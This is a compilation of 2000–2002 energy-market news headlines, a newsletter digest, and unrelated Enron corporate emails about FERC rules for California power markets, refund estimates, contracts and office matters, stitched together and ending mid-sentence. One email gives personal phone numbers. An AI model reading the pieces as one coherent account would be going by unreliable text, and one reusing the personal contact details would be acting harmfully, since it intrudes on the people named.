UniSource Energy 1Q Net 56c/Share Before Acctg Change

UniSource Energy 1Q Net 57c/Diluted Shr Vs 1c >UNS

UniSource Energy/Global Energy CEO -2:Effective May 1

4 Texas Utils Ordered To Return $3.9B In Stranded Costs

REPEAT: PSE&G: NJ Will Allow It To Recover Any Shortfall

PSE&G/Rates -2:PSEG Could Build 340 MW In Calif By Autumn

UniSource Energy: Misra To Be Global Energy Pres/CEO >UNS

UniSource Energy: Global Energy Sol Pres,CEO To Step Down

Chicago, Suburbs Nearing New Deal For Cleaner Power

PRESS RELEASE: Moody's Upgrades Exelon Corp, PECO, ComEd

Exelon Corp Sr Unsec Raised To Baa2 By Moody's

Venezuela To Restart LMDS Auction Process By End Of May

Dynegy Exec:More Grid Access Could Avert Some Blackouts

Commonwealth Edison Sr Sec Raised To A3 By Moody's

PECO Energy Co Sr Unsec Raised To A2 By Moody's

NRC To Meet With Kewanee Nuclear Operators Over Safety

PSE&G: NJ Will Allow It To Recover Any Shortfall

PRESS RELEASE: Moody's Confirms Reliant Energy A3 Sr Sec

FirstEnergy: 425-MW Ohio Peaking Plant Due Up For Summer

Reliant Energy Sr Sec Confirmed At A3 By Moody's >REI

Mirant, Vattenfall To Create Third-Largest German Pwr Co

FPL Telecommunications Unit Signs Data Center Deal

Energy Execs: US Energy Policy Needs Free-Market Focus

Jackson Charity Adds 40 Donors To US Tax Return - Report

NRC: FL&P 839-MW St Lucie 2 Seen Back Early Next Week

Endesa To Continue Chile Invest; Confident On Argentina

Enron Offl Given Authority To End India Pwr Proj -Report

US LEC Results -3: Street Sees '01 Loss $3.11/Shr >CLEC

US LEC Results -2: 1Q Financial Table, Comment >CLEC

US LEC 'On Target' For 2001 Fincl Plans >CLEC

US LEC 1Q Losses 66c A Shr Vs $1.44 >CLEC

US LEC 1Q Negative EBITDA $5.3M Vs Negative $1.7M >CLEC

MAAC Sees 17% Power Reserve Margin For Summer 2001

MACC Report Sees 17% Reserve Margin For Power This Summer

Eichel -4: German Economic Growth Remains "Robust"

Eichel -2: Follows Lower German Econ Growth Forecast

Eichel -3: Eyes On May 17 Tax Revenue Forecast

EnBW Convertible/Pricing -2: Bond Redeemable at 102.9%

German Govt/01 GDP -4: Bigger Rise In Deficit Seen

EnBW Convertible Coupon/YTM 3-Yr Euro Swap Rate -230 BPs

EnBW Convertible Priced With 19% Premium >G.ENR

German Govt/01 GDP -3: Split Over Extra Budget Measures

German Govt/01 GDP -2: Stage Set For Possible Budget Row

?NATIONAL - Access stories online at: 
http://www.powermarketers.com/pma-nat.htm

Coal Gets Newfound Attention: Environmentalists Unhappy About Bush Support

Energy-sector Sell-off Schedule Delays Sale of Most Lucrative Plants To 2002

Federal Power Plants To Raise Output 35% in 2001

LAX Opens Natural Gas Fuel Station; LAX Station Fuels Expanding Fleet of 
Alternative-Fuel Vehicles

Elamex Announces Restructure of Its Joint Venture with General Electric

Bush Exploring Power Plant Boosts

Consumer Group Proposes Locking in Natural Gas Prices

Bid to Limit Energy Costs Fails

Petrobank Energy And Resources Ltd. Purchases the

Daybreak Energy Corporation Announces New Initiatives

CEO of Global Energy Solutions Steps Down

Canargo Energy Corp - Acquisition of Canargo Power Corporation

Thermal Energy International Inc. - Improves Profitability

Atmos Energy Corporation Will Webcast Management Presentation

Praises Sung for New Power Plant ; Coal-Fired Facility Is First Allowed in 20 
Years

Ryan Sets Summit to Develop Plan for Illinois Coal Industry

Appa Members Offer Online Energy Information

Ahmsa Coal Could Fuel New Power Plant - Mexico

Repeats: Energy Volume And Open Interest Totals-APR 27

Top Energy Summaries - Friday, April 27, 2001 - 2:11 PM

Arch Coal CEO Steven Leer Sees A Promising Time for His Product Powder River 
Basin Price Jumps from $4.50 A Ton to $15 in A Year

Sale of Sierra Pacific Power Company Water Business Receives Final Regulatory 
Approval

Westmoreland Coal CO: Mdu Resources Group, Inc. - Westmoreland Power to Join 
Montana-Dakota Utilities' Application - for Lv-21 Power Project

Stuart Energy Signs Lease for 135,000 Square Foot Facility

Tennessee Valley Authority Addition of Electric Generation Peaking Capacity 
at Greenfield Sites, Mississippi

Natural Gas Outlook

C-Tech Energy Services Inc. Announces Signing of A Letter of Intent

Fast-track Energy Bills Hit Gop Block

Feds' Power Plan Offers Hope of Stability / Analysis: Prices Would Be 
Regulated During Emergency Periods

S.F. Ponders Wind Turbines for Its Land Near Sunol / Up to 50 Generators 
Could Dot Landscape

Pipeline Power Partners And Snc-Lavalin to Design And Build Gas Compressor 
Station in New York State

Exco Resources Inc - Completes $51.3 Million Acquisition of Addison Energy 
Inc.

Top Energy Summaries - Friday, April 27, 2001 - 12:06 PM

Advisory/Executive from Power Grid Operator Pjm to Comment on Energy Crisis

Kcp&L Issues Good Power Outlook for Summer

Power Players

Energy Savers Can Now Be Paid for Efforts Washington And Idaho Ok Avista 
Plan; That Offers Conservation Rebates

Aes Drax Energy Ltd.Exchange Offer Expires

Silverado Gold Mines Ltd - Growing U.S. Government Support for Silverado's 
'Green Fuel' - As Low Cost Way to Alleviate Electrical Shortages

Go-ahead for 'Green' Power Plant

Midcoast Energy Resources Inc. Declares $0.10 Per Share Dividend

Pointserve Acquires Servana; Latest Acquisition Bolsters Internet 
Infrastructure Capabilities for Global Economic Optimization of Utility 
Industry

Exelon Generation, Peoples Energy Announce Plans to Complete Power Generation 
Project

Kvaerner Wins Usd120m Power Plant Contract in the US

?INTERNATIONAL - Access stories online at: 
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Asian Development Bank To Finance Upgrading of Central Asian Power Grid

Kinetic Energy Inc.: Corporate Update

Pace Considers Financing of Completion of Power Units at Khmelnytsky and 
Rivne Npp as Inexpedient

Fuji Electric to Spin Off Industrial System Div.

Canargo Announces Acquisition of Canargo Power Corporation

NY Natural Gas Review: Dips, Losses Continued Amid Light Use

Czechs Say Austria Challenges Their Sovereign Right to Choose Energy Policy

Turkmenistan Ready to Deliver Natural Gas to Turkey

Ukraine: New Head of State Energy Market Operator Appointed (Update)

Estonian Premier Rules Out Amendments to Energy Sell-Off Agreement

Grande Prairie to Be First Canadian Customer for Cummins-Westport 1.5 
Megawatt Natural Gas Generator

Turkish Energy Minister Resigns

Russia Ups Coal Output 2.4% in Q1

Ocean Power Corporation Sigma Update

Astropower Joint Venture to Power World's Largest Solar Plant; Astrasolar to 
Supply 13mw of Apex(TM) Solar Cells for Spanish Project

Growing U.S. Government Support for Silverado's 'Green Fuel' As Low Cost Way 
to Alleviate Electrical Shortages

India Needs US$854.15 Mln to Achieve 100% Power Metering: CEA

S Korean Power Consumption Up 6.7 Pct in March

Environment: Chernobyl Cripples The Health Of Younger Generation

China's Shaanxi Seeks Foreign Investment to Build Power Plant

India's Power Generation to Increase Over Next 3 Years: Minister

?KRT - Access stories online at: http://www.powermarketers.com/pma-krt.htm

Duke Energy Wary of California Power Woes

(B) Opinion/Research: the Rising Price of Energy in The Western US

Gulfport, Miss.-Based Power Names New CEO

Texas Utility Commission Approves Energy Firm's Transmission Rates

?REUTERS - Access stories online at: 
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No Friday, April 27 stories available on Monday, April 30.

NEW on the PowerMarketers.com TRAINING PAGE:

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Aladdin Hotel, Las Vegas, March 15-16, 2001.

RealVideo-based powerpoint-based presentations, with the accompanying audio. 
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California: What's In Store
Randy Abernathy, California ISO
http://pmaconference.com:8080/ramgen/2california.rm

Texas: The BIG Retail Market
John O'Brien, Skipping Stone
http://pmaconference.com:8080/ramgen/2texas.rm

Weather: The Everyday Crisis
Lynda Clemmons, Element Re
http://pmaconference.com:8080/ramgen/2weather.rm

The Risk of Managing Risk
Robert Jacobs, Derigen Consulting
http://pmaconference.com:8080/ramgen/2volatility.rm

Making the Most of Transmission
Bill Townsend, Friedwire
http://pmaconference.com:8080/ramgen/2transmission.rm

Realtime Pricing Solutions
Tony Banks, Optiron
http://pmaconference.com:8080/ramgen/2rtp.rm

Don't forget you can choose to stream the presentation immediately over the 
web, or download it to your computer for later viewing-- Free! Access all 
online presentations in streaming or downloadable format at: 
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Right shoulder complete...full reversal mode as of right now...bang!

Fletch

On her calendar......

Thank you, Ricki

From: 	Houser, Rita  
Sent:	Tuesday, March 12, 2002 8:49 AM
To:	Corman, Shelley
Cc:	Winters, Ricki
Subject:	FW: SYSTEMS UPDATE MEETING WITH STAN HORTON

Ricki, 

Steve would like Shelley to attend this meeting.  

Thanks,
Rita

From: 	Stark, Cindy  
Sent:	Monday, March 11, 2002 2:06 PM
To:	Watson, Kimberly; Hotte, Steve; Hayslett, Rod
Cc:	Houser, Rita; Campos, Kathy; Horton, Stanley
Subject:	SYSTEMS UPDATE MEETING WITH STAN HORTON

Per a request from Stan in this morning's ETS staff meeting, we have scheduled a Systems Update Meeting for next Tuesday, March 19, from 2-2:30pm in Stan's office to discuss money spent, timetable-move forward or slow down, etc.

Let me know if you have any questions or concerns about this meeting.

Cindy Stark
Executive Assistant to Stan Horton
Tel:   713/853-6197
Fax:  713/345-7047
Cindy.Stark@enron.com

----- Forwarded by Jeff Dasovich/NA/Enron on 04/26/2001 10:26 AM -----

	Ray Alvarez
	04/25/2001 11:58 PM
		 
		 To: Tim Belden/HOU/ECT@ECT, Mike Swerzbin/HOU/ECT@ECT, Michael M 
Driscoll/PDX/ECT@ECT, Matt Motley/PDX/ECT@ECT, Robert Badeer/HOU/ECT@ECT, 
Diana Scholtes/HOU/ECT@ECT, Sean Crandall/PDX/ECT@ECT, Chris 
Mallory/PDX/ECT@ECT, Jeff Richter/HOU/ECT@ECT, Tom Alonso/PDX/ECT@ECT, Mark 
Fischer/PDX/ECT@ECT, Phillip Platter/HOU/ECT@ECT, Carla Hoffman/PDX/ECT@ECT, 
Christopher F Calger/PDX/ECT@ECT, Michael Etringer/HOU/ECT@ECT, Steve C 
Hall/PDX/ECT@ECT, Christian Yoder/HOU/ECT@ECT, Tim Heizenrader/PDX/ECT@ECT, 
Stephen Swain/PDX/ECT@ECT, Jeff Dasovich/NA/Enron@Enron, Susan J 
Mara/NA/Enron@ENRON, Joe Hartsoe/Corp/Enron@ENRON, Ray 
Alvarez/NA/Enron@ENRON, Elliot Mainzer/PDX/ECT@ECT, Bill Williams 
III/PDX/ECT@ECT, Paul Kaufman/PDX/ECT@ECT, James D Steffes/NA/Enron@Enron, 
Phillip K Allen/HOU/ECT@ECT, Mike Grigsby/HOU/ECT@ECT, Don Black/HOU/EES@EES, 
Neil Bresnan/HOU/EES@EES, Jubran Whalan/HOU/EES@EES, Dennis 
Benevides/HOU/EES@EES, Jess Hewitt/HOU/EES@EES, Louise Kitchen/HOU/ECT@ECT, 
John J Lavorato/Enron@EnronXGate, Greg Whalley/HOU/ECT@ECT, Richard 
Shapiro/NA/Enron@Enron, Steven J Kean/NA/Enron@Enron, Linda 
Robertson/NA/Enron@ENRON, Rebecca W Cantrell/HOU/ECT@ECT, Leslie 
Lawner/NA/Enron@Enron, rcarroll@bracepatt.com, Sarah 
Novosel/Corp/Enron@ENRON, Mark Palmer/Corp/Enron@ENRON
		 cc: 
		 Subject: FERC's Prospective Mitigation and Monitoring Plan for CA Wholesale 
Electric Markets

The following report is comprised of what was discussed at the Commission 
meeting held tonight at approximately 7 PM EST and additional intelligence 
gathered from FERC staffers after the meeting by Joe Hartsoe:

Physical Withholding -- To prevent physical withholding, the plan will 
require sellers with PGA's to offer all their available power in real time.  
All California generators, even those not subject to FERC price regulation, 
will be required to sell into the ISO's real time market as a condition of 
their use of the ISO's interstate transmission lines. Hydroelectric 
facilities will be exempted. (24-7 for 1yr) 

Price Mitigation -  The plan will establish a single market clearing price 
auction for the real time market.  During Stage 1, 2 and 3 emergencies in the 
ISO's real time market, each generator (other than hydro) with a 
participating generator agreement is required to offer all available power 
and bid its marginal cost based on the generator's heat curve, emission 
rates, gas costs and emission costs, plus $2 for O&M.  The gas cost will be 
the average daily cost of gas for all delivery points in California; 
emissions are to be based on Cammon Fitzgerald(?).  The gas cost and 
emissions will be published the day after, for use on the following day.  A 
single market clearing price is determined in real time for all generators.  
Highest bid sets the clearing price.  Each gas fired generator must file with 
FERC and the ISO, on a confidential basis, heat and emission rates for each 
generating unit.  The ISO will use these rates to calculate a marginal cost 
for each generator, including maintenance and operating costs.  In the event 
a generator submits a bid higher than the proxy price, the generator must, 
within 7 days of the end of each month, file a report with FERC and the ISO 
justifying its price.  FERC has 60 days to review/act.  No opportunity costs 
in real time.  Marketers are in the same boat, as they must be prepared to 
justify bid at purchased cost based on specific purchases or portfolio with 
no opportunity cost.  However, credit sleeves are permissible.

Demand Response - Beginning June 1, only public utility load serving entities 
must submit demand side bids to curtail load and identify the load to be 
curtailed under those bids.  FERC is attempting to break the demand curve.  
(24-7)  

Outages -- PGA generators will coordinate planned outages and report forced 
outages in accordance with the Commission Staff proposal adopted by FERC. 

Term - Order expires one year from date of issuance.

RTO Filing - California ISO and two Utilities must make RTO filing by June 1 
or Order lapses with no further effect.

ISO Reporting - On September 14, 2001, ISO must file a status report on how 
things are working and how much generation has been built.  Comments are due 
in 15 days.  Quarterly reports thereafter.

Revocation of Market Based Rate Authority and Refunds - The market based rate 
authority of all public utilities is conditioned on 1) no physical withhold 
of capacity, and 2) no inappropriate bidding behavior.  Inappropriate bidding 
behavior includes bidding unrelated to known characteristics of the 
generation unit or without an input cost basis or bidding not based on unit 
behavior.  An increased bid based on increased demand could apparently be 
inappropriate.  In addition, "hockey stick" bids are expressly prohibited 
(i.e.  bidding 95% at marginal cost and 5% at a much higher level).

Limited 206 filing - Applies to sales in the WSCC, outside California.  
Refund conditions apply in real time spot markets when contingency within a 
control area falls below 7%.  Control areas are not required to publish when 
this condition occurs.  Apparently anything over marginal cost must be 
justified.  All marketers and non-hydroelectric generators must offer to sell 
contractually and physically available capacity/energy to a location within 
WSCC.  FERC is attempting to mirror the rules applied in California.  
Comments are due in 10 days on the 206 investigations.  The refund effective 
date is 60 days from publication of the Order.

Nox Limits in California --  Must sell requirements do not apply if a unit is 
prohibited from running by law.  However, it appears that incurring fines 
does not overcome the must sell requirement- just include the fines as part 
of the price bid.  Also if Nox is limited, may seek to show that generation 
would have been sold elsewhere or at different times for determining price.  

Surcharge to pay past amount due -- Comments are due in 30 days on 1) whether 
FERC should require the ISO to surcharge parties for payment into an escrow 
account to pay past costs and 2) the effect this surcharge would have on the 
PG&E bankruptcy filing.  

No mention was made at the meeting as to issue of exports of power from 
California.  The Order is not finally drafted as of yet, and the status of 
the foregoing items could change upon issuance of the Final Order.  We will 
keep you posted.

RA 

Portland actually becomes a happening town for one day a year and that day is 
St Patricks Day.  There are several pretty cool places that we can go 
downtown that will be having pretty decent sized parties.   What is your 
schedule for the weekend?  I have Thursday off, work Friday, Have Saturday 
off and work Sunday, howe-ver, I think I have someone to work for me on 
Sunday.  Anyway, let me know your plans, here is my phone number in case Dahl 
doesn't have it.  Home  503-228-7767   Cell 503-702-0463.  Lets grab some 
green beers!

PGL and North Shore converted part of their index supply deal into a nymex fix price (basis is still floating).  Please amend the existing supply deal to reflect this change and confirm the supply contract ammendment as we discussed.  Feel free to call me if you have any questions.

PGL	6/01-10/02     5000 mmbtu/d	4.48 Nymex only

NS	6/01-10/02    1250 mmbtu/d	4.48  Nymex only

Jim

Teresa Smith was my contact on this one.

	Louise Kitchen
	06/29/2000 09:21 AM
		
		 cc: Dave Samuels/HOU/ECT@ECT, Julie Ferrara/HOU/ECT@ECT, Rahil 
Jafry/HOU/ECT@ECT, Bob Shults/HOU/ECT@ECT, Michael Danielson/HOU/ECT@ECT, Kal 
Shah/HOU/ECT@ECT, Daniel Diamond/HOU/ECT@ECT, David Forster/Corp/Enron@Enron, 
Teresa Smith/Corp/Enron@Enron
		 Subject: Re: OuterCurve Technologies, Inc.

Anybody claiming this one?

From: Tana Jones on 29/06/2000 09:20
To: Dave Samuels/HOU/ECT@ECT, Julie Ferrara/HOU/ECT@ECT, Rahil 
Jafry/HOU/ECT@ECT, Bob Shults/HOU/ECT@ECT, Louise Kitchen/HOU/ECT@ECT, 
Michael Danielson/HOU/ECT@ECT, Kal Shah/HOU/ECT@ECT, Daniel 
Diamond/HOU/ECT@ECT, David Forster/Corp/Enron@Enron, Teresa 
Smith/Corp/Enron@Enron
cc:  

Subject: OuterCurve Technologies, Inc.

We have received the executed Confidentiality Agreement with the referenced 
Counterparty dated June 18, 2000.  Copies will be be sent Dave Samuels and 
Teresa Smith.

I would suggest that we bring Bob in once we've had a chance to discuss 
internally today.

Best,
Jeff

Calif ISO Cuts Power Refund Estimate To $6.1B From $8.9B    =20
Updated: Wednesday, July 18, 2001 11:53 AM=01;ET    =01;=20
=01;

By Mark Golden=20

Of DOW JONES NEWSWIRES=20

NEW YORK (Dow Jones)--California's estimate of how much the state was=20
overcharged by power suppliers dropped to $6.1 billion from $8.9 billion wh=
en=20
an adjustment requested by a Federal Energy Regulatory Commission judge was=
=20
taken into account, according to data submitted to FERC last week.=20

The California Independent System Operator's estimate fell when the grid=20
operator excluded power bought by utilities not under its purview, and its=
=20
estimate could fall again as it works in other recommendations made by the=
=20
judge following the conclusion of 15 days of talks between power suppliers=
=20
and the state over potential refunds last week.=20

Even as the ISO continues to recalculate its refund estimate, however, the=
=20
state is sticking to the original $8.9 billion figure, which has been calle=
d=20
arbitrary by critics. The $6.1 billion estimate merely establishes "a=20
potential framework for settlement discussions," Eric Hildebrandt, the ISO'=
s=20
chief analyst on the matter, told the FERC.=20

FERC administrative law judge Curtis Wagner, who has dismissed the $8.9=20
billion figure as baseless and criticized California's delegation for not=
=20
negotiating in good faith, estimated in his report on the talks that refund=
s=20
due may amount to about $1 billion. Power suppliers offered just over $700=
=20
million.=20

Wagner has recommended FERC hold a 60-day hearing to set the level of refun=
ds=20
and has told the ISO to revise its estimate of what California is owed.=20

The ISO's original $8.9 billion figure included electricity sales to=20
municipal utilities and alternative energy suppliers that didn't go through=
=20
the ISO's wholesale markets, the California Power Exchange or the Californi=
a=20
Department of Water Resources. Without direct knowledge of the prices of=20
those purchases, the ISO made estimates.=20

"We know the volume (of the bilateral deals)," Hildebrandt said. "The refun=
d=20
amount was based on extrapolation of observed prices in the spot market."=
=20

Resetting The Baseline=20

Wagner told the ISO to recalculate its figure using only sales through the=
=20
ISO and CalPX markets - which were set up by the state's deregulation law f=
or=20
California's three investor-owned utilities to purchase power - in addition=
=20
to sales to the California Department of Water Resources.=20

The DWR has been buying power for the utilities since PG&E Corp. (PCG, news=
,=20
msgs) unit Pacific Gas & Electric Co. and Edison International (EIX, news,=
=20
msgs) unit Southern California Edison ran out of cash in January. DWR has=
=20
also been covering the needs of Sempra Energy (SRE, news, msgs) unit San=20
Diego Gas & Electric Co.=20

In arriving at his new estimate, the ISO's Hildebrandt also recalculated fa=
ir=20
prices - the baseline against which refundable amounts are determined - by=
=20
retroactively applying the price controls FERC imposed June 19. Those=20
controls set prices by the operating costs of the least efficient generator=
=20
needed to meet demand each hour.=20

But last week, after Hildebrandt completed his $6.1 billion estimate, Wagne=
r=20
recommended to FERC commissioners that the June 19 price control formula be=
=20
modified when used retroactively to determine refunds.=20

Those modifications, if applied to the ISO's estimate, would cut refunds mu=
ch=20
further. For example, FERC's price limits are now based on a monthly averag=
e=20
of natural gas prices covering supplies throughout the state. Wagner=20
recommended using power producers' actual gas costs. Since gas is=20
considerably more expensive in southern California, using actual prices wou=
ld=20
cut potential refunds sharply.=20

Also, Wagner said that refunds should be ordered on sales only as far back =
as=20
Oct. 2, which would reduce the total amount claimed by California by about=
=20
one-third, according to Hildebrandt's previous monthly breakdown.=20

ISO staff is again recalculating the refund estimate to reflect some of=20
Wagner's recommendations, but the ISO will still include sales back to May=
=20
2000, said spokeswoman Stephanie McCorkle.=20

"The reason we're not going back just to Oct. 2 is that all of the=20
overcharges going back to May should be repaid," McCorkle said. "We just=20
maintain that position."=20

FERC Baseline Questioned=20

In addition, Hildebrandt argues in his recently released estimate that when=
=20
fair prices are calculated retroactively using FERC's new formula, the pric=
e=20
cap should be based on the least efficient generator the ISO knows to have=
=20
been available, not the least efficient generator actually used to meet=20
demand.=20

That's because the FERC's new price controls require all available generato=
rs=20
be made available to the ISO at any time, Hildebrandt said.=20

Applying that rule would raise the ISO's revised estimate substantially: to=
=20
$7.7 billion from $6.1 billion.=20

One of the ways generators managed to manipulate prices higher, Hildebrandt=
=20
said, was to not offer cheaper power from more efficient units. Considering=
=20
only the least efficient generator actually used would make permanent the=
=20
rewards for such withholding, he said.=20

"The judge is in error to suggest that the actual (least-efficient) unit us=
ed=20
would have been called on if the must-offer requirement were in effect,"=20
Hildebrandt said in an interview.=20

In arriving at his estimate, Hildebrandt determined the difference between=
=20
actual sales prices and what prices would have been for every seller and fo=
r=20
every hour since May 1, 2000, had price controls been in effect. The ISO=20
released only the total potential refund, not the company-specific shares.=
=20

Hildebrandt took issue with generating companies that have complained his=
=20
numbers aren't justified.=20

"These are based on very tangible records," he said. "The idea that it's a=
=20
black box is misleading."=20

-By Mark Golden, Dow Jones Newswires; 201-938-4604; mark.golden@dowjones.co=
m=20

(Jason Leopold in Los Angeles contributed to this article.)=20

I certainly agree with the concept.  It sounds like it gives us more 
flexibility.  

Mary Joyce@ENRON
08/07/2000 08:30 AM
To: Drew C Lynch/HOU/ECT@ECT
cc: Nigel Sellens/LON/ECT@ECT, Michelle Cash/HOU/ECT@ECT, Pam 
Butler/HR/Corp/Enron@ENRON 
Subject: Re: Contracts  

I think this sounds like a great suggestion.  Pam and Michelle, comments?

Thanks!

Mary

Drew C Lynch@ECT
08/07/2000 06:19 AM
Sent by: Drew C Lynch@ECT
To: Mary Joyce/HR/Corp/Enron@Enron
cc: Nigel Sellens/LON/ECT@ECT 
Subject: Contracts

Mary,

Hope things are going well with you and yours! Nigel and I were discussing 
some contract language today and wanted some input from you on how we might 
word future grants of options or stock. Should we be wording Director Level 
and below agreements with a more generic "equity" component instead of 
specifying options or restricted stock? My question revolves around our 
tendency from time to time to change the structure of how we deliver value as 
a company. Your thoughts? What are others doing?

DCL

Dave, attached is our settled form of product description and GTC we have 
prepared for a HDD Australian weather swap. The GTC has been prepared on the 
basis that the GTCs will apply even in instances where there is a Master 
Agreement with the counterparty.     

Susan/Heidi - I  would also like a specific sign off from someone (presumably 
Price WaterhouseCoopers) that the input tax status of commodity derivatives 
(as outlined in the Australian Tax Office Consultation Paper on the 
application of GST to financial services) will extend to weather derivatives.

We are preparing similar documentation for the following, HDD swap, HDD Call 
Option, HDD Put Option, CDD Swap, CDD Call Option and CDD Put Option.

Interested in any feedback. 

Per your request, historical California throughput data for TW and competitive pipelines.

FYI.
---------------------- Forwarded by James D Steffes/HOU/EES on 08/25/2000 
04:34 PM ---------------------------
From: Cindy Derecskey@ENRON on 08/25/2000 04:01 PM
To: Steven J Kean/NA/Enron@Enron, James D Steffes/HOU/EES@EES, Richard 
Shapiro/HOU/EES@EES
cc:  
Subject: fyi

----- Forwarded by Cindy Derecskey/Corp/Enron on 08/25/2000 04:00 PM -----

"Martin, Kim" <martinki@fleishman.com> on 08/25/2000 03:51:17 PM
To: "'mark.palmer@enron.com'" <mark.palmer@enron.com>
cc:  

Didn't know if you saw this column in today's LA Times, but he makes some
good arguments...

>   JAMES FLANIGAN: Simple Steps May Ease Self-Inflicted
> Electricity Woes
>   Los Angeles Times -- August 25, 2000  [Return to Headlines]
>
>
>      Publication Date: Friday August 25, 2000
>      Page C-1
>      Los Angeles Times (Home Edition)
>      Copyright 2000 / The Times Mirror Company
>      By JAMES FLANIGAN
>
>   Let's be clear, the fact that the state botched the job of
> deregulation to begin with is one reason California's electricity market
> is such a mess.
>
>   But failure to build a single new power plant in the state
> even as California's economy expanded its use of electricity is the basic
> cause of today's shortages and soaring prices in San Diego, Orange County
> and other areas.
>
>   Still, some simple steps can be taken by regulators,
> legislators and Gov. Gray Davis to provide immediate relief.
>
>   The state's major utilities should be free to buy power
> wherever they can get it. They should not have to buy exclusively from the
> Power Exchange, the Pasadena-based power pool that was set up by the 1998
> deregulation to achieve auction-based prices for roughly 80% of the
> state's electricity.
>
>   Approval should be expedited for adding smaller generating
> plants that supply power at times of peak demand. That could alleviate a
> tight supply-demand situation over the next year or two while larger
> plants are built.
>
>   Long term, the state needs to speed up the approval process
> for building new electricity plants. The state also should force utilities
> to invest in the still-regulated system of power transmission lines, which
> now has weaknesses in the San Diego and San Francisco areas.
>
>   Perhaps the most glaring fact about California's electricity
> problem is how few companies have stepped up to supply power to this
> enormous market, the nation's biggest. Only 15 or so suppliers, including
> federal agencies, the state's own utilities, municipal companies and
> private generating firms, supply power to California's system.
>
>   By contrast, Pennsylvania, which has an electricity market
> less than 12% the size of California's, has 130 separate suppliers of
> electricity today, reports John Quain, chairman of that state's Public
> Utility Commission.
>
>   It's no coincidence that Pennsylvania has seen monthly
> electric bills drop 3% on average since deregulation. "It's worked out
> terrifically," Quain says.
>
>   What did California do wrong? It allowed the state's major
> utilities--Pacific Gas & Electric, Southern California Edison and San
> Diego Gas & Electric--to recover 100% of their unrecovered or "stranded"
> costs for nuclear and hydroelectric plants and for past power purchase
> schemes mandated by the California legislature to encourage alternative
> sources of energy.
>
>   Then California's legislators told the utilities to sell
> their conventional power plants to private generating companies, all of
> which would sell their power to a central Power Exchange.
>
>   The California scheme was flawed, at once over-regulated and
> yet commercially clueless in not foreseeing trouble from a single power
> pool fed by only a handful of suppliers.
>
>   How did Pennsylvania do it? It allowed the state's utilities
> to recover no more than 67% of their stranded costs for nuclear
> plants--reasoning that company shareholders should accept some of the risk
> of their investments. And rather than set up a central power exchange, the
> state allowed its utilities and newcomers to the state's electric system
> to compete for business.
>
>   Competition, after all, is what deregulation is supposed to
> encourage. And competition is not happening in California.
>
>   It should be noted that the summer is relatively cool in the
> East this year and extraordinarily hot throughout the West. All the
> Western states are suffering electricity problems. That's another reason
> for California's trouble.
>
>   Normally, 28% of California's electricity comes from U.S.
> and Canadian government systems and from utilities in Oregon and
> Washington, Nevada and Arizona. But this year, because of lower
> hydroelectric supplies and higher demand from booming economies in those
> other states, power for California is in shorter supply and more expensive
> when the state can get it. Now there are accusations that some suppliers
> to California have taken advantage of their market leverage to extract
> premium prices for power.
>
>   There's nothing illegal in angling for a better price or in
> using futures markets and other trading techniques, as some generators may
> have done. If any stepped over the line to illegal collusion, federal and
> other investigations will determine the facts.
>
>   But who gave the generators the market leverage to exploit
> us? The California regulators, legislators and utilities did. Told to sell
> their generating plants in 1998, the utilities sold dozens of plants in
> package deals of two and three to single buyers. They received premium
> prices from buyers such as AES Corp., Duke Energy, Southern Co. Reliant
> Energy, Dynegy and NRG. The premiums were paid for the market leverage
> that multiple plants afforded the buyers.
>
>   Nobody in the utilities reckoned that they were handing
> market leverage to potential commercial adversaries. Nobody in the
> Legislature or the regulatory staffs reckoned that the central Power
> Exchange could be held up by market leverage.
>
>   As outsiders often say about Californians: "Maybe it's the
> sunshine makes them slow."
>
>   (END)
>
>   05:23 EDT August 25, 2000
>   Copyright , 2000 Times Mirror Company
>
>
>
> 

As a result of restrictions that Market Axess has imposed on users of its 
multi-dealer online bond trading site, we will not begin using the site until 
trading of high yield bonds is implemented late this year.  

Legal:  I suggest that we defer legal discussions until this date 
approaches.  

Credit Approval:   This will not be an anonymous site, where our credit 
exposure is to the site or clearing broker.  Our exposure for Market Axess 
transactions will be to one of their participating dealers.  My understanding 
is that we have trading agreements with each of Market Axess' current dealers 
(JP Morgan, Chase, Bear Stearns, ABN Amro, Deutsche, UBS Warburg).  Please 
let me know if there are credit issues related to trading with these dealers 
through Market Axess.  Before we begin trading, we will determine if there 
are any new Market Axess dealers for whom credit approval is required.

Please let me know if you like to discuss.

Thanks.

Mike
x39990

I'm throwing out my thoughts on question 1 for the current case.

1.  Evaluate Patten's business strategy.

    My first thought centered around the fact that Patten's real expertise is
in real estate development.  They have a well thought out strategy of who the
customer is and how to sell effectively to these customers.  They have
developed a good business relationship with the large property owners.  With
little risk they analyze their ability to subdivide the properties.  Once
this is completed and the land purchased, they unleash their marketing
strategy.
    The marketing strategy seems to effectively gain sales without
extravegant costs.  The sales staff is custom designed to relate personally
to the average customer.  Their gross margin for land sales is 54.8%.  Even
if you include the selling, general and admin expense their margin is 24%.
    The part of their business strategy I struggle with is the finance
business.  What do a bunch of land developers know about finance.  In my
opinion land financing should be left to the experts.  If they established a
preferred financing company, they could negotiate a standard finders fee for
the loans.  More importantly they would eliminate the risk in their revenue
streams.  When they make a sale the revenue could be immediately booked since
they would not hold the debt, the finance company would.  Their current
portfolio of notes receivable is $18.6M.  It looks like ignoring expenses
their financing margin is 3%.  This only gives $0.56M in revenues.  This
number seems pretty small compared to the accounting heartburn it creates.
Obviously this number would be much smaller if they were properly estimating
unrecoverables.
    I guess the bottom line is "what is their core competency"?  I believe
its land development not land finance.

Anyway give me your thoughts and I'll clean it up in a word document.

Jimmy

Start Date: 4/28/01; HourAhead hour: 1;  No ancillary schedules awarded.  No 
variances detected.

Schedules\2001042801.txt

Hi Sally

Congratulations on your promotion!

I was hoping to congratulate you in person while you were in London - but you 
seemed really busy.  Every time you walked through our area I was on the 
phone!

Hope to catch up with you next week when I visit Houston.

Best wishes 

Amita

And yes there are still some corporate tickets available to help close those
deals for donations !  Please call if you need them.

Sieur Chris Bishop
403-299-7796

-
---------------------------------------------------
Its really hard to tell how well we are doing with fundraising so far this
 year.  Kelly Trout tells me there is about $90,000.00 in the bank.  In
 addition, she has been told of a $10,000.00 donation and that other companies
 will be donating, although the exact amount is uncertain.  From my phone
 calls, it looks like there may be $20,000.00 -$40,000.00 out there that has
 not been received by Kelly.  I really hope that I am not being overly
 optimistic though.

Last year, I think we had about $140,000.00 in the bank on the night of the
 party and thought that we would raise a total of $150,000.  Somehow, after 
all
 of the donations came in, we received $165,000.00 in donations.   So, it may
 be that if I am estimating things correctly, we are on track.

If I am being overly optimistic, however, we have a lot of work to do.  Please
